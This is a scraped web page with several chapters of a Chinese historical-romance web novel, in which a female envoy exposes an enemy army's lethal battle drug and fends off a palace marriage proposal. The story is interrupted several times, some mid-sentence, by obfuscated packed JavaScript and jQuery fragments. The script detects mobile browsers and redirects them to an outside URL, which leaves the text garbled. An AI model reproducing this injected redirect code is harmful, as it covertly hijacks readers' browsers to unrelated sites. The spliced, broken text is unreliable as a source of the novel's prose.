l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751563|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体的服饰来看,这些都是死去的荣国俘虏。 魏国士兵把那两个濒死的俘虏也扔在尸体堆里,然后走得远远的。 秦惜音问道:“你们把俘虏的尸体都堆在这里?不作其他处理吗?” 士兵道:“我们会定期焚烧尸体。不过,现在那堆人里面,还有一些没有完全咽气的。我们想等他们完全咽气,再一起焚烧。” “既然没咽气,不救一下吗?救活了,也是个劳动力。” “没有救的价值。他们就算被救活,过不了几天也会突然暴毙的。” “你们没查出原因吗?” “不知道。我们猜测,他们可能是长期营养不良,又当了俘虏,心情不好,郁郁而终。” “总不会所有人都郁郁而终吧?” “这就不清楚了。军医们检查过他们的身体,但是也没查出什么,只说他们气血耗尽了,很有可能是在战场上太过拼命的缘故。” “我过去看看。” 秦惜音也跟着郁太医学过简单的医术,虽然学得很粗浅,但也许能有什么发现。 高毅拦住她,道:“尸体不干净,别过去。” “没事,我只是想看看那些尸体有什么异常。我学过一点医术。” “就连军医都没看出什么,你又能有什么发现?小心感染了尸气,生了病。” “没关系,那我用面纱遮住口鼻就好了。” 说着,秦惜音就掏出一块手帕,当成面纱戴了上去。 高毅无奈,只好随她去。 秦惜音来到死人堆里,寻找着其中的活口。 她找到了一个没有完全断气的人,给他把脉。 不过,她没发现什么异常,只觉得这个人气血亏虚,命不久矣。 这时,忽然有人抓住了秦惜音的手。 秦惜音吓了一跳,见抓住自己的是另一个俘虏,而且他也有气无力的,就放下心来,问道:“你干什么?” 这名俘虏说道:“姑娘,我快死了……我住在荣国清河郡石屏镇,我叫白三勇……能不能帮我带个信给我父母,就说……就说我回不去了,我房间的桌子底下,有一块砖头……底下有钱……还有,东市的胡记酒家欠我三十两银子,我父母可以去讨回来…… 姑娘,你帮我送口信,我让我父母给你一些钱……” 秦惜音想着,反正自己也要出使荣国,顺便带个口信也无妨。 她正要答应,高毅却拦住了她,朝她摇了摇头。 接着,高毅对那名俘虏道:“你要我们帮忙带口信,也无妨。但是,你得告诉我们,你们为什么作战非常勇猛,又为什么被俘虏之后活不了多久?” 那名俘虏摇头道:“我……我不知道……” 看他的神色,他应该真的不知道。 秦惜音问道:“这怎么可能不知道呢?你们是不是服用了什么切断疼痛的药物?你们被俘之后,是不是故意服毒?” “没有……” 这时,另一道虚弱的声音传来:“我知道原因……但是,你们得救活我,把我送回家……我还想再见见我的家人……” 37. 和谈交锋 发出声音的是第三个俘虏,他被好几具尸体压在下面。 看他面黄肌瘦的模样,估计已经被扔在这里好几天了,能活到现在也不容易。 秦惜音有些激动地问道:“是什么原因?” 第三个俘虏道:“你们……先救我……然后,我说原因……交换……” 秦惜音答应了,让高毅把那名俘虏拖出来。 高毅先把上面的死尸挪开,然后把那名俘虏抱了出来,放在地上。 秦惜音随身带了针灸针,她给那名俘虏扎了几针,让他的精神暂时好一些。 那名俘虏有些高兴地问道:“我好像又有力气了……我是不是快好了?” 秦惜音如实说道:“好不了,你快油尽灯枯了。接下来我每天给你针灸,估计还能保你五六天的性命。” 那名俘虏有些绝望,但又露出认命般的神情,道:“我就知道……活不了……不管怎样,多谢你……我家离这里不远,五六天也够了……” 秦惜音问道:“你刚才说,你知道荣国士兵过于勇猛、不知疼痛的原因,也知道荣国俘虏们很快暴毙的原因?” “是的……刚才你问的人,是个小兵……他不知道情况的……我是个军官,我叫孙静……其实,每次开战前,我们的主帅都会给士兵服用一种‘大力丸’,揉碎了放进食物里…… 吃了之后,就不会有痛感,也不会感到害怕,思维也会僵化,只能想一些很简单的事……比如主帅说向前冲,士兵们就只知道向前冲……哪怕断手断脚,或者身中数刀,只要还能动,就会一直向前,不会怯战…… 而且,力气也会增加数倍…… 所以,我们的士气高于你们的军队……但是,服用大力丸后,会快速燃烧寿命……往往活不过两个月…… 所以,我们被俘虏后,很快就会死……这种大力丸……检测不出来……” 秦惜音问道:“既然你说服用大力丸后思维会僵化,为何你现在思维很清晰呢?” “服用大力丸一段时间后,思维会慢慢正常,但生命的流逝是不可逆的……” 秦惜音和高毅听了,恍然大悟,同时也感到有些可怕。 怪不得荣国军队总是打赢,普通的士兵对上荣国的行尸走肉,肯定处于弱势。 如果把这件事捅出去,荣国军队可能会哗变或逃跑,战斗力肯定下降。 如果荣国的百姓知道这件事,肯定也会闹事的。 到时候,就会形成对魏国有利的局面。 秦惜音和高毅互相对视了一眼,知道对方跟自己想的一样。 于是,秦惜音对旁边的魏国士兵说道:“你们去把死人堆里还有气的俘虏都拖出来,我要救活他们,有大用。还有,现在还在劳作的俘虏,让他们停止劳作,好好休养。” 士兵们知道秦惜音是朝廷派来的女官,不敢怠慢,答应了秦惜音的要求。 他们一共拖出六个还没断气的人,加上秦惜音刚才救的,一共是七个。 秦惜音用针灸之法救他们,但其中有两个明显救不活,只好算了。另外四个暂时能吊命,秦惜音施针完毕后,让魏国士兵把这些俘虏都抬到军营里,好生休息。 接着,秦惜音、高毅没有耽搁,立刻回到酒楼,把刚才发现的一切告诉了齐威将军和其他使臣。 齐威将军皱眉道:“原来如此……荣国主帅用这种方法,提高胜率,但却大大增加了士兵的死亡率。在战场上,士兵如果判断自己不敌对方,转头就跑的话,可能还能活命。就算回到军营,也只是被处罚而已。 但是,那些服用了大力丸的士兵,就是弃子,必死无疑。如果真相大白,荣国士兵们肯定不愿意成为耗材的。” 秦惜音道:“齐将军,我目前的想法是,趁着使团出使荣国,我们把那些俘虏假扮成使团的成员,暗中送他们回家,并想办法让他们的家人知道大力丸的事。 这样,一传十,十传百,荣国百姓必会大乱。同时,还得设法让荣国军队也知道这件事,让军队哗变,他们就没有能力攻打我国。 之后,我们提出和谈,也会顺利一些。但是,该怎么让荣国的军队知道这件事?” 齐威将军道:“军队那边我来安排,荣国军队里,也有我军的细作。荣国的俘虏活不了多久,你们赶紧把他们带走,送回家,我们分头行事。” 众使臣都同意了这个方案。 于是,还活着的十几名荣国俘虏,被打扮成使团里的仆人,跟着使团前往荣国。 他们身体虚弱,都是坐马车的。 秦惜音也把自己的马车让了出来,自己骑马前进。 高毅特意挑了一匹比较温顺的马给秦惜音。 秦惜音的骑术也不错,一路上都没出什么岔子。 高毅时常跟秦惜音并辔而行,有时候鹿一鸣凑过来跟秦惜音说话,都会被高毅赶跑。 很快,一行人就到了荣国附近。 众人商议了一下,使臣们先行进宫,鹿一鸣带领十个士兵,护送这十几个荣国俘虏回家。鹿一鸣这边都乔装一下,伪装成商人,以免被人发现。 两拨人分头行动。 秦惜音随着其他使臣们进了荣国皇宫,荣国皇帝和一些重臣亲自设宴接待。 宴席规格很高,还有歌舞表演,倒是挑不出毛病来。 荣国皇帝身边,还坐着两个珠光宝气、花容月貌的妃子,看起来都不年轻了,估计有三四十岁。 荣国皇帝介绍说,这两个妃子是丽妃和睿妃,平时宫宴她们俩都会出席。 众人便知道,这两个妃嫔一定很得宠。 一开始,双方互相寒暄,气氛还算融洽。 很快,正使高衡远提起了和谈一事:“陛下,我朝陛下认为,魏国、荣国两国连年交战,民生凋敝,士卒思归。不如解冤释结,重修旧好,则两国百姓都会感念陛下之德。不知陛下意下如何?” 荣帝道:“并非是朕不愿息兵,只因我国粮食短缺,军中将士为了饱腹,频繁向贵国发动战争。朕虽屡屡下令申斥,但仍屡禁不止,朕也颇感为难。朕欲讨伐边境军队,无奈各地诸侯、武将,都跟边境军队有钱粮或贸易往来,不肯出力。 而百姓们吃不饱饭,常常让自家的壮丁去边境从军,致使边境军队越来越壮大,已成尾大不掉之势。朕看,此事还需从长计议。兴许等个十年八年,我国粮食充足了,自然不必再对外征战。” 高衡远道:“陛下,贵国的难处,我朝陛下也有所耳闻。我朝陛下有言, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751564|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以每年赠送贵国粮食一千斛、布帛一万匹,自和约签订之日起生效。另外,既要重修旧好,还请陛下归还之前羁縻于贵国的使臣,让他们回归故土。 贵国土地贫瘠,风雨不时,粮食产量不稳定,恐怕养不活太多百姓。我国也愿意接收一部分贵国的百姓,这样,陛下的负担也可减轻。 同时,贵国可派一名质子来我国,我朝陛下必以礼相待。” 荣帝冷笑道:“区区一千斛粮食、一万匹布,就想交换这么多东西?高大人,有您这么算术的吗?” 高衡远道:“陛下,一千斛粮食、一万匹布虽不多,但我国愿意每年供给,只要和约仍在,就不会间断。总数算下来,也是不少的。贵国虽然粮食歉收,但总是有一些存粮的。 再加上我国提供的部分粮食,应该够贵国百姓生存了。 另外,此次的使团中还有几个善于治水的官员,他们可以在贵国留一段时间,帮忙治水,改善贵国的水土,提高粮食产量。” 荣帝道:“要和谈可以,但魏国每年需要给我国一万斛粮食、十万匹布、黄金万两、白银十万,美女三十名,工匠三十名,书籍一千册。我国不会派质子过去,但你们要派质子过来。 听说你们魏帝年轻,还没有子嗣。不过没关系,等他生下儿子,就可以送过来了。 另外,每十年要送一个和亲公主过来,要真正的公主,别拿宫女糊弄寡人。 还有,你们也得留下帮寡人治水,不治好不能走。” 听到荣帝这强盗般的条件,众使臣都皱了皱眉。大家终于明白,上一拨使臣为什么会跟荣帝谈崩,导致被羁押了。 这次的使臣都比较老成持重,所以也没人发火,只是都闷坐着,压抑着心中的怒气。 秦惜音看向高衡远,用眼神询问他,自己是否可以开口。 高衡远点了点头。不过,他指了指自己身上佩戴的玉,又指了指自己的衣服,似乎在暗示秦惜音什么。 秦惜音看懂了,高衡远的意思是“化干戈为玉帛”,也就是不要跟荣帝起冲突的意思。 高衡远今天穿的衣服是丝绸做的,帛就是丝织品。再加上他腰间的玉佩,组合起来就是“玉帛”二字。所以,高衡远真正想说的,是“化干戈为玉帛”。 秦惜音也朝他点了点头,示意自己明白他的意思。 接着,秦惜音起身,先敬了荣帝一杯酒,说道:“小臣初来贵国,得见陛下威仪,心中不胜欣喜。这杯酒祝陛下千秋万代,江山永固。” 荣帝喜道:“你这女娃娃,挺会说话的。这杯酒朕干了。” 荣帝举起杯中酒,一饮而尽。 秦惜音也陪饮一杯。 接着,秦惜音又给自己满上一杯酒,对丽妃、睿妃说道:“丽妃、睿妃两位娘娘,风华绝代,国色天香,令小臣十分景仰。这杯酒,祝两位娘娘芳龄永继,盛宠不衰。” 丽妃、睿妃都开心地举起酒杯,说道:“秦女官客气了。” 两人喝了酒,秦惜音也把自己的酒喝完。 丽妃笑道:“秦女官只顾着夸我们,但我瞧着,秦女官的风采也不在我二人之下。本宫的长子尚未娶妻,不知秦女官是否婚配了?若是没有,本宫倒想做主,为你们牵线。” 38. 宴会周旋 高毅有些着急地看向秦惜音,又看向丽妃,但又不方便说什么。 秦惜音笑着婉拒:“小臣德薄才疏,不敢与天潢贵胄婚配。今日能得见娘娘风姿,已是万幸。若能在荣国暂住几日,时时向娘娘讨教一二,于愿足矣。” 丽妃点头笑道:“既然你这样说,那也罢了。你想继续在荣国住几日,倒也不难,让皇上多留使团几日便是。皇上,您说呢?” 荣帝道:“嗯,和谈一事,恐怕也需要一段时间才能达成共识。既然如此,各位贵使可愿多留数日?朕会让你们住进鸿胪寺,好生招待。” 众使臣都巴不得拖几天,毕竟荣国军队使用大力丸的事还需要一段时间发酵。 因此,使臣们顺水推舟地同意了。 高衡远问道:“陛下,不知三年前我国前来贵国的使臣现在在哪里?” 荣帝含糊其辞道:“他们都好得很,高大人不必担心。来人,送魏国使臣去鸿胪寺。” 接着,就有一队侍卫来请众位使臣离开。 使臣们知道留不下去了,荣帝也暂时不会说出关键信息,只好先离开了。 众人入住了鸿胪寺,日常生活被安排得很好,只是出门限制比较多,需要层层通报,等荣帝同意了才能出门,还得有好多荣国士兵跟着。 因此,大家都选择待在房间里。 另一边,左卫参军鹿一鸣和十名手下打扮成客商的样子,把那些还活着的荣国俘虏一一送回了家。他们说自己是西域商人,因为跟荣国有合作,看见这些荣国士兵被魏国俘虏,就用钱赎了出来。 他们还给每位俘虏的家人留下一封信,说是如果这些士兵们出了什么意外,就打开信来看看。 这些俘虏的家人虽然感激鹿一鸣等人,但也觉得他们说的话不中听。自家孩子好不容易回来了,怎么会出意外? 但俘虏的家人们也都收下了信,没有说什么。 把所有俘虏送回家后,鹿一鸣等人就恢复了侍卫的装扮,来到鸿胪寺跟使臣们会合。 鹿一鸣跟使臣们见面,说自己的事已经办好。现在就等那些俘虏突然死亡,他们的家人得知真相,民间舆论就会开始发酵。 高衡远道:“鹿参军辛苦了,先回去歇着吧。” 鹿一鸣道:“我还想出去打听一下,以前的魏国使臣被关在哪里。” “你进了荣国的鸿胪寺,要想出去就难了。荣国对使臣们管得很严格。” 鹿一鸣皱眉道:“我刚才进来时,也看见了很多岗哨。既然这样,我就只能先留在这里了。” “对了,你们刚才进来时,有人盘问你们吗?” “有。荣国士兵问我们身为使团的护卫,为什么这会才到。我说我们几个是奉命出去购买一些荣国特产的,并把特产给他们看,他们才没有疑心。” 说着,鹿一鸣把刚才买的特产拿了出来,给大家分了。 高衡远微笑道:“还是鹿参军机智,事先想到了应对之策。” 鹿一鸣谦逊道:“哪里哪里。” 接着,鹿一鸣拿了一把黑色的扇子给秦惜音,道:“秦女官,这把扇子是我刚才买东西时,店家送的。他说这种黑绸扇产自边境,京城里很少。因为我买得多,他才送我一把。 我看这是女孩子用的,我拿着也不合适,给你吧。” 秦惜音见这黑扇十分漂亮,惊喜道:“谢谢鹿参军。” 她仔细看了看这把扇子,见这扇子外圈是金丝,扇面是用黑色的绸缎做的,上面绣着白茶花、白蝴蝶,黑白相衬,非常好看。 扇柄是用青玉做的,整体看起来精致又贵重。 高毅看着鹿一鸣说道:“这么贵重的扇子,不像是赠品,倒像是你小子特意买的。” 鹿一鸣:“去去去,别多嘴。” 秦惜音一边慢悠悠地扇扇子,一边问道:“这种黑绸扇,可是产自荣国与魏国交界处的永城?我好像在永城的店铺里看到过。” 鹿一鸣道:“没错。我们进京路上,经过永城,但没有停留。因为永城毗邻魏国,连年战乱,手工业都不太兴盛,所以每年黑绸扇的产量都不算多。” “嗯,那我可要好好保存了。” 秦惜音把黑绸扇收了起来。 过了一会,有个太监过来了,说道:“奴才奉丽妃娘娘旨意,请秦女官进宫赴宴。” 秦惜音问道:“丽妃娘娘是叫我去吗?” “是的。” “可有说是什么事?” “没有。估计丽妃娘娘只是因为跟秦女官投缘吧。” “好吧,我这就去。” 高毅想起之前宫宴上的事,有些警觉,把秦惜音拉到一边,说道:“丽妃该不会还想撮合你和她儿子吧?” 秦惜音笑道:“之前在宫宴上,我已经明确拒绝了,她应该不会再提了。我想,这只是普通的宴会而已,她可能只是单纯的喜欢我。” 高毅却递给她一颗药丸,说道:“如果情况不妙,就服下这个。” “这是什么?” “腹泻丸。” “……” “总之,只要你腹泻,就有理由离席了。” “好吧,谢谢高大人。” 秦惜音想把药丸藏在自己的荷包里,但又想到入宫可能要搜身,一切私人物品都不能带。 于是,她偷偷取下一只耳环,拧开,里面是中空的。她把药丸塞了进去,然后拧回去,从外表就看不出来了。 高毅惊讶道:“你这耳环……” 秦惜音眨了眨眼:“厉害吧?” “厉害。总之,保护好自己。” “知道了。” 秦惜音觉得,高毅有点太不放心自己了。自己又不是小孩,而且极其机智,到底有什么可担心的。 秦惜音来到荣国皇宫后,果然有搜身环节,不能带个人物品。所以她的香囊、玉佩什么的都解下来了。 不过,首饰不必解下来。 很快,就来到了丽妃宫里。 丽妃设了一桌精致的小宴,她旁边还坐着一个十七八岁的英俊少年,看穿着打扮,应该是个皇子。 而且,他的眉眼跟丽妃有几分相似。 秦惜音立刻猜到,这个皇子应该就是丽妃的儿子了。 看来,丽妃还是没有放弃给儿子相亲的事。 秦惜音先不动声色,只是恭敬地给丽妃行礼,并询问她身边的是谁。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751565|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 丽妃笑道:“这是我的长子,三皇子荣斐。” 秦惜音赶紧给三皇子行礼,而三皇子也看着秦惜音,眼神有些油腻。 秦惜音保持微笑,然后落座,并没有流露出什么负面情绪。 丽妃笑道:“今日叫你来,一则是陪我说说话,二则,是让你跟斐儿见个面。秦女官,我看你年纪跟斐儿相近,又有如此品行、如此才华,小小年纪还能出使她国,实在不可多得。 实不相瞒,那天在宫宴上,本宫一见到你,就特别喜欢。如果我们能有成为亲人的缘分,朝夕相处,那就再好不过了。” 秦惜音笑道:“多谢丽妃娘娘抬爱。只是,小臣毕竟是魏国人,而且魏、荣两国常年交战,只怕不适合联姻。” “如果你答应嫁给斐儿,本宫会想办法让两国签订和约的。而且,本宫会让皇上打消一些不合理的诉求,拟定一份双方都满意的和约。” 秦惜音的心跳得很厉害。 要不要用自己的婚姻,换取两国和平? 可是,秦惜音脑海中浮现了高毅的影子。 如果留在荣国,意味着以后很难见到高毅了…… 不知为何,秦惜音很难接受这一点。 而且,丽妃真的能左右如此重大的决策吗? 可能最后的结果不尽如人意。 再者,这个三皇子看着也不像是良配。他的眼神看起来有一种对于美.色的贪婪,还有一种上位者的傲慢和自负。 而自己是一个没什么根基的人,离开了故国,连女官都不是了,又没有家族,岂不是如同一叶浮萍,任人宰割? 更何况,她有把握通过揭发大力丸的事,让荣国出乱子,从而让荣帝妥协,签订合约。 因此,秦惜音笑道:“多谢娘娘错爱,只是娘娘可能不太了解情况。小臣是魏国罪臣之女,家族已经倾覆,身份低微,配不上三皇子殿下。” “是吗?” 丽妃眼神闪烁了一下,随即说道:“本宫看中的是你这个人。即便你身份稍有不如,在斐儿身边做个侧妃也行。本宫一定给斐儿找个好脾气的正妃,免得你受欺负。” “多谢娘娘。只是,如果我只能做三皇子的侧妃或是侍妾,皇上岂会为了区区一个皇子侧妃,修改两国合约的内容?我的分量怕是不够。” “这……” 丽妃也有些为难,一时不知道该怎么办。 秦惜音心中暗笑,自己这一招以子之矛,攻子之盾,用得真不错。 接着,她做出一副谦逊的样子,说道:“三皇子龙章凤姿,贵不可言,惜音自问配不上三皇子。而且……” 秦惜音欲言又止。 丽妃道:“惜音,你有什么话,不妨直说。” 秦惜音道:“小臣有几句话,想单独跟娘娘说。” “好吧。斐儿,你先下去吧。” 三皇子起身道:“是。” 三皇子往外走去,不过他的眼神肆无忌惮地朝秦惜音身上打量,秦惜音只作未知,心中却觉得一阵恶心。 接着,秦惜音又让丽妃屏退下人。 丽妃见秦惜音如此郑重,不知道要说什么,因此就听她的,让所有下人都离开。 39. 流言四起 等屋里没人后,秦惜音小声道:“娘娘,其实小臣会一点望气之术。三皇子吉星高照,紫气缠身,将来的成就不可限量。” 丽妃惊喜道:“真的?” “没错。只是,能不能登上那个位置,现在还是未知数。小臣觉得,给三皇子娶几个在家世和势力上有帮助的妻妾,会好一些。” 丽妃点头:“你说的也有道理。其实,以前本宫就是这么打算的。只是,前几天一见到你,本宫就欢喜得什么都忘了,也不要联姻势力了,也不考虑未来的事了,一心只想让你嫁给斐儿。” “娘娘,三皇子的未来至关重要,您不能只凭自己的心意。” “你说得对……只是,本宫虽然看重家世,却也看重姑娘自身的能力。本宫认为,如果是你嫁给斐儿,你完全有能力扶持他走上那个位置。” “小臣确实有些微才能,但势单力孤,只凭智力是不够的。” “嗯,也有道理……” “娘娘今日召小臣进宫,是为了请小臣吃特色菜,小臣十分感激。” “对对,没错……你多吃一点,这几道菜全是我们荣国的特色。” 过了一会,丽妃命人拿来一些礼物,说道:“惜音,这些礼物是本宫打算送给你的。虽然今天联姻的事没谈妥,但你还是可以收下这些礼物,就当是本宫对魏国使臣的馈赠了。” 秦惜音看了看这些礼物,发现每一件都很贵重。 其中还有一把黑绸扇,跟刚才鹿一鸣送给自己的类似,只是上面的绣花不同,绣的是□□。 秦惜音问道:“娘娘,这把黑绸扇,也是永城来的吗?” 丽妃笑道:“你眼力不错,这正是永城特产——黑绸扇。由于连年战乱,永城劳动力不足,黑绸扇的产量逐年降低。而这一把,更是黑绸扇中的珍品,有钱也未必买得到。要不是永城守将尤将军送来,本宫也未必有。 今日既然跟你投缘,就送你了。” 秦惜音并没有接过扇子,而是在盘算另一件事。 那位尤将军因为给士兵吃大力丸,即将完蛋了。何不趁此机会,卖丽妃一个人情呢? 因此,秦惜音再次请求丽妃屏退下人。 下人离开后,秦惜音问道:“丽妃娘娘,请问您跟尤将军往来多吗?” 丽妃道:“尤将军久在边关,怕朝中有小人进谗言害他,所以他每年都会给宫中得宠的妃嫔送礼,让我们帮他在皇上面前说说好话。本宫跟尤将军并不算熟悉。” 听闻此言,秦惜音就没什么顾忌了。她隐晦地说道:“娘娘,现在荣国粮食歉收,皇上正在为此烦心,您何不把这些年尤将军所送的财物全都拿出来捐给百姓,并让皇上得知? 这么做有四点好处:第一,这些都是尤将军的馈赠,并不需要娘娘自己出钱;第二,这样可以表明您不是那种为了些许钱财就帮助朝臣、影响朝政的后妃;第三,以后尤将军万一出点什么事,也不会牵连到您;第四,您此举可以博得皇上的好感,也为三皇子博得了民心,对三皇子的未来大有好处。” 丽妃被说得有些心动,但还是犹豫道:“不行……本宫已经收了尤将军很多年的礼了,以前不拿出来,偏偏现在才拿出来,该如何解释?而且,前些年,本宫确实为尤将军说了不少好话。现在把他送的钱拿出来,更显得我之前是拿钱办事。” “娘娘,您可以找个借口,比如以前所收的礼物,都由宫女管理,您很少过问,所以不知道尤将军送礼之事。至于为他说好话,是您真心觉得尤将军是个良将。娘娘冰雪聪明,一定能把这事圆过去的。” “有道理……不,还是不行。之前尤将军所送的礼物,本宫大部分都用来赏人了。” “娘娘,您可以趁这几天,悄悄购买相同的物件补上,就当是没有送人过。反正,您送的时候,肯定不会明确说出这些东西的来源吧?” “倒也可以……但是,本宫为何要这么做?” “娘娘,其实,我们从永城路过时,曾无意间听见永城百姓对尤将军多有怨言。我想,尤将军不得民心,娘娘不如早点跟他割席。娘娘以诚待我,我自然要投桃报李。” “但是,尤将军是常胜将军,军功卓著,深得皇上信任。至于永城百姓,大概是因为饱受战乱之苦,壮劳力多去参军,没法务农,所以才对尤将军有所不满。他们的言辞,是没法上达天听的。” 秦惜音点到即止:“娘娘所言亦有理。小臣已经吃饱,先告退了。” 秦惜音走后,丽妃一直回想着秦惜音的话。 自己久在深宫,不了解外面的情况。有什么官员贿赂她,她就帮那个官员说话,也没想太多。 但是,使臣们从边境过来,也许真的了解什么情况。 秦惜音既然这么说,那很有可能是她分析出,尤将军快出事了。 丽妃决定赌一把。 毕竟尤将军也不是她的人,将来也不可能为她所用。倒不如趁现在,把尤将军贿赂自己的财物拿出来,当着皇帝的面做点好事,还能为自己的儿子铺路。 于是,丽妃叫人偷偷购置一些珍宝,这些珍宝都是之前尤将军送她、又被她送人的物件。 好在那些物件都不是独一无二的,很快能买到。 她准备好一切后,就把这些财宝拿到皇帝身边,说了一些话,让皇帝相信她跟尤将军没有什么勾.结,她也是刚刚发现尤将军每年都给她送礼。现在,她愿意捐出这些财物,给百姓换顿饱饭。 见丽妃这么做,皇帝自然喜出望外,大大地夸奖了她一番。 ———— 那些被俘士兵回到家后,有些直接跟家人说了大力丸的事,说自己活不了多久了。他们的家人虽然悲伤,但心里隐隐还怀有希望,认为这不是真的。 也有一些士兵选择了隐瞒,因为他们不想在最后的日子里,见到家人伤心的面孔,只希望一家人开开心心地度过最后的时光。 ———— 在魏国的军营里,齐威将军让人把死去的俘虏都抬过来,选出其中没有任何伤口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751566|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的尸体,送还给荣国军营。 对外只说这些俘虏来了魏营之后突然暴毙,留着尸体也没用,不如让他们落叶归根。 而荣国那边来接尸体的士兵当中,就有齐威将军安排的细作。细作们已经知道真相,决定伺机而动。 俘虏的尸体运回荣国大帐后,士兵们议论纷纷,说什么的都有。 “哎,这齐威将军真仗义啊,俘虏死了还把尸体送回来。等咱们把尸体运回他们老家去,也让他们家人有个念想。” “得了吧,这些俘虏被掳走才几天功夫,怎么全死光了?一定是齐威将军和他的下属们虐待俘虏了。” “可是,这些俘虏身上一点伤口都没有啊。” “是啊,这倒是怪事。难道是他们不想给魏国效力,所以都绝食而死?” “可是,看他们的模样,不像绝食而死的样子啊。而且,总不可能每一个都绝食吧?” 这时,有个脸上有红疤的士兵说道:“你们有没有觉得,这事透着古怪?这些俘虏没受伤,怎么突然就死了?难道他们还在咱们军营里的时候,就被动了手脚?” “应该不会吧?能动什么手脚?” “你们没发现另一件事吗?就是无论是哪些士兵冲锋陷阵,他们每一个都很勇猛,从来没有临阵脱逃的,或是临时感到胆怯的。他们冲锋的时候,就像没有痛觉一样,即便身中数刀,甚至断了手,都能继续往前,而且气势丝毫不减。 一般人受伤流血了,气势和力气不都会弱一些吗?跑起来也会慢一些。可是,最近每次打仗的时候,选入先锋营的将士,从来都不会这样。而且,即便是没有被俘虏、没有战死的先锋士兵们,在休养的时候也活不了多久。 这肯定不正常。” “哎,听你这么一说,好像是有点……” “我也察觉到了……我以前有个伙伴说过,他如果被选入先锋营了,也不会拼命的,因为他还要活着回去见爹娘。可是,一个月前的那场战斗,他被选入了先锋营,却是不要命地往前冲。 他的手被砍断了,身上还插着两把刀,都没有停下脚步。一边冲还一边大喊,中气十足的,一点也不像将死之人。” “听你们这么说,我也想起来了……我在先锋营也有个朋友,他在二十天前上过战场,也是比以前勇猛多了,好像根本不怕危险一样。他很幸运,只是受了点轻伤。但是,回营之后,他只活了半个月。 他也是突然就死了,跟现在这些战俘的尸体一样……你们说,这其中会不会有鬼?” “肯定没有鬼,但有阴谋。我听说了一个消息,但不保真……就是每次先锋营的士兵要出战时,他们的饭菜里会被放入一种特殊的药物,他们吃了之后会变傻,只知道一味地冲锋,不知疼痛,不知冷热,也感觉不到自己的身体状况,直到彻底倒下。 而且,就算有幸没死,服用这种药物后,也活不了几天。” “真的吗?” “我也不确定……要不我们再去打听一下?” 40. 逃过一劫 “嗯,也好。” 通过细作的努力,类似的言论在不同的营帐里广为流传。 没过几天,大力丸的事就传得沸沸扬扬的,有很多士兵都偷偷逃走了,还有一些士兵哗变,抓住了自己的上级军官,要求上级军官给个交代。 军营里乱成一团,主帅尤正武将军虽然想把这些事压下来,但奈何群情激奋,反而愈演愈烈。 在这个时候,魏国军队重整旗鼓,打了过来,荣国军队惨败。 更糟的是,尤正武将军发现自己储存的大力丸竟然失窃了很多,不知道被谁拿了,对方又会上交给谁…… 因此,他只能尽量整顿残存的士兵,逼问他们谁拿了大力丸,马上上交,可以免罪。 但是,没人承认。 而这些天,之前被送回家里的荣国俘虏们,也纷纷暴毙。 他们的家人把信拆出来阅读,得知了自家孩子服用大力丸的真相,告到了官府。 一开始,苦主太少,又临近过年,而且涉及边关大将,官府只想息事宁人,把事情压下去。 可是,随着荣国边境的逃兵越来越多,他们逃回家乡后,也开始宣扬大力丸的事。 渐渐的,许多民众都知道了。 他们觉得自己的孩子本来可以不用死,就是因为服用了大力丸,不要命地往前冲,才错失了在战场上保命的机会。 因此,民怨沸腾,苦主越来越多。 当地官府压不住了,只能层层上报。 而荣国皇帝同时接到好几个部门的奏折,说的都是尤将军给士兵吃大力丸的事。 他很恼怒,也很头疼。 这大过年的,都不让人安生。 他只能临时派另一个将军去接替尤将军,同时派人去把尤将军抓回来受审。 可是,借着边境换守将、非常混乱的时候,魏国将军齐威又打过来两次,荣国边境再次损失惨重。之前荣国抢来的粮草、药材、箭镞、百姓等,又被抢了回去。 现在已经不光是给尤将军治罪的问题了。 本来边关形势一片大好,荣帝有谈判的筹码。 但现在,形势逆转,他不得不让渡很多利益。 就在这时,以高衡远为首的使团再次求见,说是现在签订和约,可以避免齐衡将军再次攻打。 如果再拖延时间,荣国边境的几座城池可就保不住了。 因此,荣帝只能答应签订和约,并释放三年前扣押的使臣。 三年前的使臣都被关在一座宫殿里,倒是没有生命危险,只是被关得太久了,他们都精神萎靡,消瘦了很多,还有人已经半疯癫了。 现在被放出来了,他们对着新来的使臣们痛哭流涕,有一种新媳妇受了委屈,终于盼来娘家人的感觉。 